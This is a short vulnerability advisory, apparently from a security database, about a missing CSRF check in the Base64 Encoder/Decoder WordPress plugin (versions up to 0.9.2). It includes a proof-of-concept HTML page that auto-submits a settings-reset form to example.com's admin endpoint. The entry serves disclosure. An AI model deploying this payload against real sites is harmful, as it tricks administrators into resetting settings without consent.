Base64 Encoder/Decoder <= 0.9.2 - Settings Reset via CSRF

2024-04-2400:00:00

Bob Matyas

base64

encoder

decoder

csrf

vulnerability

exploit

poc

security update

AI Score

6.7

Confidence

Low

EPSS

Percentile

9.0%

JSON

Description The plugin does not have CSRF check in place when resetting its settings, which could allow attackers to make a logged in admin reset them via a CSRF attack

Make a logged in admin open an HTML file containing the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=base64-encoderdecoder%2Fbase64-encoderdecoder.php" method="post">
        <input name="reset" value="1">
        <input type="submit" name="enter" value="reset">
    </form>
</body>

```